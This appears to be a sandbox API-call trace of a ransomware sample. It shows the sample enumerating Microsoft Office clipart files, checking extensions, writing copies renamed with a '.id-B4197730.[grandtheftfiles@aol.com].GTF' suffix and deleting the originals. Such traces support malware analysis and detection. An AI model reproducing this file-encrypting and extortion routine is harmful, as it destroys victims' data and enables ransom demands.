	[0167.607] lstrlenW (lpString=".xlsx") returned 5
	[0167.607] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0167.607] lstrlenW (lpString=".ppt") returned 4
	[0167.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0167.607] lstrlenW (lpString=".zip") returned 4
	[0167.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.607] lstrlenW (lpString=".rar") returned 4
	[0167.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.608] lstrlenW (lpString=".bz2") returned 4
	[0167.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.608] lstrlenW (lpString=".7z") returned 3
	[0167.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0167.608] lstrlenW (lpString=".dbf") returned 4
	[0167.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0167.608] lstrlenW (lpString=".1cd") returned 4
	[0167.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF") returned 68
	[0167.608] lstrlenW (lpString=".jpg") returned 4
	[0167.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.608] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0167.608] lstrlenW (lpString="J0106816.WMF") returned 12
	[0167.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0167.609] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3332) returned 1
	[0167.609] CloseHandle (hObject=0x53c) returned 1
	[0167.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 0x220
	[0167.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0167.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0167.609] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.609] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0167.610] GetLastError () returned 0x0
	[0167.610] ReadFile (in: hFile=0x53c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xd04, lpOverlapped=0x0) returned 1
	[0167.612] WriteFile (in: hFile=0x548, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xd10, lpOverlapped=0x0) returned 1
	[0167.612] ReadFile (in: hFile=0x53c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.613] WriteFile (in: hFile=0x548, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.613] SetEndOfFile (hFile=0x548) returned 1
	[0167.613] CloseHandle (hObject=0x548) returned 1
	[0167.613] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.613] SetEndOfFile (hFile=0x53c) returned 1
	[0167.615] CloseHandle (hObject=0x53c) returned 1
	[0167.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0167.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 1
	[0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0167.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0167.616] lstrlenW (lpString=".doc") returned 4
	[0167.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.616] lstrlenW (lpString=".docx") returned 5
	[0167.616] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0167.616] lstrlenW (lpString=".pdf") returned 4
	[0167.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.616] lstrlenW (lpString=".xls") returned 4
	[0167.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.616] lstrlenW (lpString=".xlsx") returned 5
	[0167.616] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0167.617] lstrlenW (lpString=".ppt") returned 4
	[0167.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0167.617] lstrlenW (lpString=".zip") returned 4
	[0167.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.617] lstrlenW (lpString=".rar") returned 4
	[0167.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.617] lstrlenW (lpString=".bz2") returned 4
	[0167.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.617] lstrlenW (lpString=".7z") returned 3
	[0167.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0167.617] lstrlenW (lpString=".dbf") returned 4
	[0167.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0167.617] lstrlenW (lpString=".1cd") returned 4
	[0167.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0167.617] lstrlenW (lpString=".jpg") returned 4
	[0167.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0167.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0167.617] lstrlenW (lpString=".doc") returned 4
	[0167.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.617] lstrlenW (lpString=".docx") returned 5
	[0167.617] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0167.617] lstrlenW (lpString=".pdf") returned 4
	[0167.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.617] lstrlenW (lpString=".xls") returned 4
	[0167.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.617] lstrlenW (lpString=".xlsx") returned 5
	[0167.617] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0167.617] lstrlenW (lpString=".ppt") returned 4
	[0167.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0167.618] lstrlenW (lpString=".zip") returned 4
	[0167.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.618] lstrlenW (lpString=".rar") returned 4
	[0167.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.618] lstrlenW (lpString=".bz2") returned 4
	[0167.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.618] lstrlenW (lpString=".7z") returned 3
	[0167.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0167.618] lstrlenW (lpString=".dbf") returned 4
	[0167.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0167.618] lstrlenW (lpString=".1cd") returned 4
	[0167.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0167.618] lstrlenW (lpString=".jpg") returned 4
	[0167.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.618] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0167.618] lstrlenW (lpString="J0106958.WMF") returned 12
	[0167.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0167.619] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=13784) returned 1
	[0167.619] CloseHandle (hObject=0x53c) returned 1
	[0167.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 0x220
	[0167.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0167.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0167.619] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.620] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0167.625] GetLastError () returned 0x0
	[0167.625] ReadFile (in: hFile=0x53c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x35d8, lpOverlapped=0x0) returned 1
	[0167.627] WriteFile (in: hFile=0x548, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x35e0, lpOverlapped=0x0) returned 1
	[0167.628] ReadFile (in: hFile=0x53c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.628] WriteFile (in: hFile=0x548, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.628] SetEndOfFile (hFile=0x548) returned 1
	[0167.628] CloseHandle (hObject=0x548) returned 1
	[0167.628] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.628] SetEndOfFile (hFile=0x53c) returned 1
	[0167.631] CloseHandle (hObject=0x53c) returned 1
	[0167.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0167.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 1
	[0167.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0167.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0167.632] lstrlenW (lpString=".doc") returned 4
	[0167.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.632] lstrlenW (lpString=".docx") returned 5
	[0167.632] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0167.632] lstrlenW (lpString=".pdf") returned 4
	[0167.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.632] lstrlenW (lpString=".xls") returned 4
	[0167.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.632] lstrlenW (lpString=".xlsx") returned 5
	[0167.632] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0167.632] lstrlenW (lpString=".ppt") returned 4
	[0167.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0167.632] lstrlenW (lpString=".zip") returned 4
	[0167.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.632] lstrlenW (lpString=".rar") returned 4
	[0167.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.632] lstrlenW (lpString=".bz2") returned 4
	[0167.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.632] lstrlenW (lpString=".7z") returned 3
	[0167.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0167.633] lstrlenW (lpString=".dbf") returned 4
	[0167.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0167.633] lstrlenW (lpString=".1cd") returned 4
	[0167.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0167.633] lstrlenW (lpString=".jpg") returned 4
	[0167.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0167.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0167.633] lstrlenW (lpString=".doc") returned 4
	[0167.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.633] lstrlenW (lpString=".docx") returned 5
	[0167.633] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0167.633] lstrlenW (lpString=".pdf") returned 4
	[0167.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.633] lstrlenW (lpString=".xls") returned 4
	[0167.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.633] lstrlenW (lpString=".xlsx") returned 5
	[0167.633] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0167.633] lstrlenW (lpString=".ppt") returned 4
	[0167.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0167.633] lstrlenW (lpString=".zip") returned 4
	[0167.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.633] lstrlenW (lpString=".rar") returned 4
	[0167.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.633] lstrlenW (lpString=".bz2") returned 4
	[0167.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.633] lstrlenW (lpString=".7z") returned 3
	[0167.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0167.634] lstrlenW (lpString=".dbf") returned 4
	[0167.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0167.634] lstrlenW (lpString=".1cd") returned 4
	[0167.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0167.634] lstrlenW (lpString=".jpg") returned 4
	[0167.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.634] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0167.634] lstrlenW (lpString="J0107024.WMF") returned 12
	[0167.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0167.970] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3020) returned 1
	[0167.970] CloseHandle (hObject=0x528) returned 1
	[0167.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 0x220
	[0167.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0167.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.010] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.010] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0168.011] GetLastError () returned 0x0
	[0168.011] ReadFile (in: hFile=0x560, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xbcc, lpOverlapped=0x0) returned 1
	[0168.013] WriteFile (in: hFile=0x528, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0168.014] ReadFile (in: hFile=0x560, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.014] WriteFile (in: hFile=0x528, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.014] SetEndOfFile (hFile=0x528) returned 1
	[0168.014] CloseHandle (hObject=0x528) returned 1
	[0168.014] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.014] SetEndOfFile (hFile=0x560) returned 1
	[0168.016] CloseHandle (hObject=0x560) returned 1
	[0168.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 1
	[0168.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0168.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0168.017] lstrlenW (lpString=".doc") returned 4
	[0168.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.018] lstrlenW (lpString=".docx") returned 5
	[0168.018] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0168.018] lstrlenW (lpString=".pdf") returned 4
	[0168.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.018] lstrlenW (lpString=".xls") returned 4
	[0168.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.018] lstrlenW (lpString=".xlsx") returned 5
	[0168.018] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0168.018] lstrlenW (lpString=".ppt") returned 4
	[0168.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0168.018] lstrlenW (lpString=".zip") returned 4
	[0168.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.018] lstrlenW (lpString=".rar") returned 4
	[0168.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.018] lstrlenW (lpString=".bz2") returned 4
	[0168.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.018] lstrlenW (lpString=".7z") returned 3
	[0168.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0168.018] lstrlenW (lpString=".dbf") returned 4
	[0168.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0168.018] lstrlenW (lpString=".1cd") returned 4
	[0168.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0168.018] lstrlenW (lpString=".jpg") returned 4
	[0168.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0168.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0168.018] lstrlenW (lpString=".doc") returned 4
	[0168.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.019] lstrlenW (lpString=".docx") returned 5
	[0168.019] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0168.019] lstrlenW (lpString=".pdf") returned 4
	[0168.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.019] lstrlenW (lpString=".xls") returned 4
	[0168.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.019] lstrlenW (lpString=".xlsx") returned 5
